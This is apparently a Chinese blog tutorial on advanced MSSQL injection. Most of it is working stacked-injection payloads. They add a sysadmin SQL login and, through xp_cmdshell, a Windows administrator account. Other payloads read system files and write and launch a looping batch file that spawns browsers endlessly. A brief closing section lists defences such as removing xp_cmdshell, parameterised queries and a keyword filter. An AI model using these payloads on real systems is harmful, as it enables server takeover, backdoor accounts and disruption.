网络攻击与深度防御--MSSQL高级注入

MSSQL注入的高级应用

数据库提权

1.建立数据库用户(所有的操作均在注入点后面)

;exec master..sp_addlogin yuanli,zllove2005;--

建立一个用户,用户名为yuanli,密码是zllove2005

执行上面的命令后一般会报错(如类型不匹配),但是报这个错误就表示成功执行了

2.将建立的用户加入到数据库管理组中

;exec master..sp_addsrvrolemember yuanli,sysadmin;--

将第一步建立的用户‘yuanli’加入到数据库管理组中

可以使用SQL查询分析器--文件--连接:数据库服务器IP(使用刚才建立的用户名进行数据库连接)

3.查看数据库用户

程序--mssqlserver--企业管理--安全性--登录

操作系统的提权

提权:首先建立普通用户,然后将该用户加入到管理员组

1.建立系统用户

;exec master..xp_cmdshell "net user yuanli zllove2005 /add"--

建立用户名为yuanli,密码为zllove2005的系统用户

2.提权:把hacker加入到administrator组

;exec master..xp_cmdshell "net localgroup administrators yuanli /add"--

3.利用

利用远程桌面

读系统写文件

1.利用查询分析器连接数据库(可以使用上面步骤建立的用户),以下命令在SQL查询分析器中完成

2.create table vvboot(line varchar (8000))

创建表,类型为varchar(可变长度)

3.bulk insert vvboot from 'c:\boot.ini'

4.select * from vvboot

向系统写文件

将下面的代码写入文本文档,并将该文件保存为cmd.cmd

start "good" /high cmd.cmd & exit

将下面的代码写入文本文档,并将该文件保存为a.bat

:1

start iexplore.exe

goto 1

写文件

;exec master..xp_cmdshell 'echo aaa >> c:\u.txt'--

将aaa写入c盘下的u.txt中

例如将上面的a.bat写入系统

;exec master..xp_cmdshell 'echo :1 >> c:\a.bat'--

;exec master..xp_cmdshell 'echo start iexplore.exe >> c:\a.bat'--

;exec master..xp_cmdshell 'echo goto 1 >> c:\a.bat'--

写入完毕,然后就可以在注入点触发该程序

;exec master..xp_cmdshell 'start c:\a.bat'--

前台没有任何提示,但是系统后台一直会报错

防xp_cmdshell

1.删除xp_cmdshell:

;exec master..sp_dropextendedproc 'xp_cmdshell'

2.恢复xp_cmdshell:

;exec master..sp_addextendedproc 'xp_cmdshell','xplog70.dll'

3.关键问题是xplog70.dll这个动态库,删除这个后则xp_cmdshell不能执行,有时做加固会把这个东西改名字

4.彻底防溢出

c:\windows\system32\cmd.exe 删除所有默认权限,添加administrator--完全控制

通过这个操作,也可以防止xp_cmdshell未公布的漏洞

注入防范

安全编码,所有查询参数化

WAF:web、APP、fw

编写防注入脚本:noinject.asp

过滤关键字:and select update or union ; ' sp_ xp_等

防post,get,cookie

脚本漏洞:a.asp conn.asp

在有漏洞脚本调用防注入的脚本:

你可能感兴趣的:(网络攻击与深度防御--MSSQL高级注入)